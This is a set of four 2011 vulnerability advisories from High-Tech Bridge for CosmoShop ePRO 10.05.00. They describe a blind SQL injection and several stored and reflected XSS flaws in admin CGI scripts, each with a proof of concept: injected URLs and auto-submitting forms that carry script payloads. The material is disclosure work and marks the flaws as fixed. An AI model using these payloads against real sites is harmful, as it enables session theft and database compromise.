CosmoShop ePRO 10.05.00 Cross Site Scripting / SQL Injection

`=================================  
Vulnerability ID: HTB22881  
Reference: http://www.htbridge.ch/advisory/sql_injection_vulnerability_in_cosmoshop.html  
Product: CosmoShop  
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ )   
Vulnerable Version: ePRO V10.05.00  
Vendor Notification: 24 February 2011   
Vulnerability Type: Blind SQL Injection  
Status: Fixed by Vendor  
Risk level: Low   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "cgi-bin/admin/index.cgi" script to properly sanitize user-supplied input in "id" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
http://host/cgi-bin/admin/index.cgi?action=menu&id=eco'+SQL_CODE&hId=eco  
Solution: Upgrade to the most recent version  
  
=================================  
Vulnerability ID: HTB22880  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop_1.html  
Product: CosmoShop  
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ )   
Vulnerable Version: ePRO V10.05.00  
Vendor Notification: 24 February 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "cgi-bin/admin/edit_startseitentext.cgi" script to properly sanitize user-supplied input in "text-de" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/cgi-bin/admin/edit_startseitentext.cgi" method="post" name="main" enctype="multipart/form-data">  
<input type="hidden" name="setup" value="allgemein">  
<input type="hidden" name="action" value="save">  
<input type="hidden" name="use_wwe" value="1">  
<input type="hidden" name="file-de" value="startseitentext_de.txt">  
<input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'>  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
  
  
=================================  
Vulnerability ID: HTB22879  
Reference: http://www.htbridge.ch/advisory/multiple_xss_vulnerabilities_in_cosmoshop.html  
Product: CosmoShop  
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ )   
Vulnerable Version: ePRO V10.05.00  
Vendor Notification: 24 February 2011   
Vulnerability Type: XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "cgi-bin/admin/rubrikadmin.cgi", "cgi-bin/admin/artikeladmin.cgi", "cgi-bin/admin/shophilfe_suche.cgi" scripts to properly sanitize user-supplied input in "rcopy" variable. Successful exploitation of this vulnerabilities could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
http://host/cgi-bin/admin/rubrikadmin.cgi?action=edit&rubnum=angebote&rcopy="><script>alert(document.cookie)</script>&expand=,angebote  
  
http://host/cgi-bin/admin/artikeladmin.cgi?action=artikelsuche&typ=bearbeiten"><script>alert(document.cookie)</script>&hId=daten.artikel  
  
http://host/cgi-bin/admin/shophilfe_suche.cgi?sprache=de&suchbegriff=1"><script>alert(document.cookie)</script>  
  
Solution: Upgrade to the most recent version  
  
  
=================================  
Vulnerability ID: HTB22878  
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop.html  
Product: CosmoShop  
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ )   
Vulnerable Version: ePRO V10.05.00  
Vendor Notification: 24 February 2011   
Vulnerability Type: Stored XSS (Cross Site Scripting)  
Status: Fixed by Vendor  
Risk level: Medium   
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerability exists due to failure in the "cgi-bin/admin/setup_edit.cgi" script to properly sanitize user-supplied input in "hauptwaehrung" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/cgi-bin/admin/setup_edit.cgi" method="post" name="main">  
  
<input type="hidden" name="setup" value="allgemein">  
<input type="hidden" name="hId" value="setup.einstellungen.allgemein">  
<input type="hidden" name="setup_key" value="allgemein">  
<input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x">  
<input type="hidden" name="shopbetreiber" value="[email protected]">  
<input type="hidden" name="shop_bestellempfaenger" value="[email protected]">  
<input type="hidden" name="anfrage_mail" value="[email protected]">  
<input type="hidden" name="shop_umstid" value="DE12345678">  
<input type="hidden" name="shop_eg" value="1">  
<input type="hidden" name="auftragszaehler" value="1">  
<input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="nebenwaehrung" value="$">  
<input type="hidden" name="eurofaktor" value="0.7">  
<input type="hidden" name="mindestpreisdm" value="10">  
<input type="hidden" name="emis_bestellempfaenger" value="">  
<input type="hidden" name="afs_bestellempfaenger" value="">  
<input type="hidden" name="ean_in_ausf" value="1">  
<input type="hidden" name="google_verify_code" value="">  
<input type="hidden" name="save_it" value="abspeichern">  
  
</form>  
<script>  
document.main.submit();  
</script>  
  
Solution: Upgrade to the most recent version  
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